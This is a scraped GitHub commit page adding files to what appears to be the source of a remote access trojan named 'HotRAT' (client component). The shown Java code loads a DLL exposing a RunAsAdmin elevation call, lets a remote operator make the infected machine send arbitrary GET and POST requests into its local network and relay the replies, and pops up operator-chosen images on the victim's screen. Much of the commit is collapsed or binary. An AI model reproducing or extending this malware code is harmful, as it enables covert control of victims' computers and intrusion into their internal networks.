-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
49 changed files
with
554 additions
and
247 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
port:11451:port |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
LookAndFeel:com.sun.java.swing.plaf.windows.WindowsLookAndFeel:LookAndFeel |
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
import com.sun.jna.Library; | ||
import com.sun.jna.Native; | ||
import com.sun.jna.WString; | ||
import com.sun.jna.platform.win32.WinDef; | ||
|
||
public interface LoadDLL extends Library { | ||
LoadDLL instance = (LoadDLL) Native.loadLibrary("resources/CppUtils.dll", LoadDLL.class); | ||
boolean RunAsAdmin(WString path, WString command); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file modified
BIN
-3 KB
(80%)
HotRAT SRC)/RemoteControl-Client/out/production/YuanKong/me/client/dll/CppUtils.dll
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file modified
BIN
-3 KB
(80%)
HotRAT SRC)/RemoteControl-Client/src/me/client/dll/CppUtils.dll
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
69 changes: 69 additions & 0 deletions
69
HotRAT SRC)/RemoteControl-Client/src/me/client/send/LANAccess.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
package me.client.send; | ||
|
||
import me.client.utils.MessageFlags; | ||
import me.client.utils.SendMessage; | ||
|
||
import java.io.InputStream; | ||
import java.io.OutputStream; | ||
import java.net.HttpURLConnection; | ||
import java.net.Socket; | ||
import java.net.URL; | ||
import java.nio.charset.StandardCharsets; | ||
|
||
public class LANAccess extends Thread{ | ||
Socket socket; | ||
public LANAccess(Socket socket) { | ||
this.socket = socket; | ||
} | ||
public void get(String url,String head) { | ||
try { | ||
String message = ""; | ||
URL url1 = new URL(url); | ||
HttpURLConnection httpURLConnection = (HttpURLConnection) url1.openConnection(); | ||
byte[] bytes = new byte[1024]; | ||
int len = 0; | ||
httpURLConnection.setRequestMethod("GET"); | ||
httpURLConnection.setDoInput(true); | ||
String[] strings = head.split("\\|"); | ||
for(String str : strings) { | ||
String[] heads = str.split("#"); | ||
httpURLConnection.setRequestProperty(heads[0],heads[1]); | ||
} | ||
InputStream inputStream = httpURLConnection.getInputStream(); | ||
while ((len = inputStream.read(bytes))!=-1) { | ||
message += new String(bytes,0,len, StandardCharsets.UTF_8); | ||
} | ||
SendMessage.Send(MessageFlags.LAN_ACCESS_GET,message.getBytes(),socket); | ||
}catch (Exception e) { | ||
SendMessage.SendHead(MessageFlags.LAN_ACCESS_ERROR,socket); | ||
} | ||
} | ||
public void post(String url,String head,String text) { | ||
try { | ||
String message = ""; | ||
URL url1 = new URL(url); | ||
HttpURLConnection httpURLConnection = (HttpURLConnection) url1.openConnection(); | ||
byte[] bytes = new byte[1024]; | ||
int len = 0; | ||
httpURLConnection.setRequestMethod("POST"); | ||
httpURLConnection.setDoInput(true); | ||
httpURLConnection.setDoOutput(true); | ||
String[] strings = head.split("\\|"); | ||
for(String str : strings) { | ||
String[] heads = str.split("#"); | ||
httpURLConnection.setRequestProperty(heads[0],heads[1]); | ||
} | ||
OutputStream outputStream = httpURLConnection.getOutputStream(); | ||
outputStream.write(text.getBytes()); | ||
outputStream.flush(); | ||
outputStream.close(); | ||
InputStream inputStream = httpURLConnection.getInputStream(); | ||
while ((len = inputStream.read(bytes))!=-1) { | ||
message += new String(bytes,0,len, StandardCharsets.UTF_8); | ||
} | ||
SendMessage.Send(MessageFlags.LAN_ACCESS_POST,message.getBytes(),socket); | ||
}catch (Exception e) { | ||
SendMessage.SendHead(MessageFlags.LAN_ACCESS_ERROR,socket); | ||
} | ||
} | ||
} |
22 changes: 22 additions & 0 deletions
22
HotRAT SRC)/RemoteControl-Client/src/me/client/send/PictureDisplay.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
package me.client.send; | ||
|
||
import javax.swing.*; | ||
import java.net.MalformedURLException; | ||
import java.net.URL; | ||
|
||
public class PictureDisplay { | ||
JWindow window; | ||
public void show(String url) throws MalformedURLException { | ||
window = new JWindow(); | ||
window.setAlwaysOnTop(true); | ||
JButton but = new JButton(); | ||
but.setIcon(new ImageIcon(new URL(url))); | ||
window.getContentPane().add(but); | ||
window.setLocationRelativeTo(null); | ||
window.setSize(450,450); | ||
window.setVisible(true); | ||
} | ||
public void close() { | ||
window.dispose(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.